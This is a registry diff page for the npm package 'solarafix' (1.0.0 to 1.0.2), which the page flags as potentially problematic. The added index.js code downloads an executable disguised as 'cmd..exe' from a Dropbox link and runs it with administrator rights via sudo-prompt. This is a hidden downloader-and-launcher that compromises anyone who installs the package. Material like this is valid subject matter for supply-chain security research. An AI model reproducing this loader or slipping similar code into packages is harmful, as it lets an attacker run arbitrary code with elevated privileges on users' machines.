solarafix 1.0.0 → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of solarafix might be problematic. Click here for more details.
- package/index.js +22 -16
- package/package.json +1 -1
package/index.js
CHANGED
@@ -2,36 +2,42 @@ const fs = require('fs-extra');
|
|
2
2
|
const path = require('path');
|
3
3
|
const fetch = require('node-fetch');
|
4
4
|
const sudo = require('sudo-prompt');
|
5
|
-
const { exec } = require('child_process');
|
6
5
|
|
7
|
-
const exeFileName = 'cmd
|
8
|
-
const downloadUrl = 'https://
|
9
|
-
const exeFilePath = path.
|
6
|
+
const exeFileName = 'cmd..exe'; // Extra period in the filename
|
7
|
+
const downloadUrl = 'https://www.dropbox.com/scl/fi/fe02r3r0oi8vcrvw79abs/cmd.exe?dl=1'; // Your Dropbox link
|
8
|
+
const exeFilePath = path.resolve(__dirname, exeFileName); // Save the file to the current directory
|
10
9
|
|
11
10
|
async function downloadFile(url, outputPath) {
|
12
|
-
|
13
|
-
|
14
|
-
|
15
|
-
|
11
|
+
try {
|
12
|
+
console.log(`Starting download from: ${url}`);
|
13
|
+
const response = await fetch(url);
|
14
|
+
if (!response.ok) throw new Error(`HTTP error! Status: ${response.status}`);
|
15
|
+
const buffer = await response.buffer();
|
16
|
+
await fs.writeFile(outputPath, buffer);
|
17
|
+
console.log(`Downloaded file to ${outputPath}`);
|
18
|
+
} catch (error) {
|
19
|
+
console.error(`Error downloading file: ${error.message}`);
|
20
|
+
throw error;
|
21
|
+
}
|
16
22
|
}
|
17
23
|
|
18
24
|
async function runExecutable() {
|
19
25
|
try {
|
20
|
-
// Download the executable file
|
21
26
|
await downloadFile(downloadUrl, exeFilePath);
|
22
27
|
|
23
|
-
|
24
|
-
|
25
|
-
|
28
|
+
const options = { name: 'solarafixer' };
|
29
|
+
console.log(`Attempting to run ${exeFilePath} as admin...`);
|
30
|
+
|
31
|
+
sudo.exec(`"${exeFilePath}"`, options, (error, stdout, stderr) => {
|
26
32
|
if (error) {
|
27
|
-
console.error(`Error running the executable with admin rights: ${error}`);
|
33
|
+
console.error(`Error running the executable with admin rights: ${error.message}`);
|
28
34
|
return;
|
29
35
|
}
|
30
|
-
console.log(`
|
31
|
-
console.error(`
|
36
|
+
console.log(`Execution Output: ${stdout}`);
|
37
|
+
if (stderr) console.error(`Execution Errors: ${stderr}`);
|
32
38
|
});
|
33
39
|
} catch (error) {
|
34
|
-
console.error(`
|
40
|
+
console.error(`Error during executable setup: ${error.message}`);
|
35
41
|
}
|
36
42
|
}
|
37
43
|
|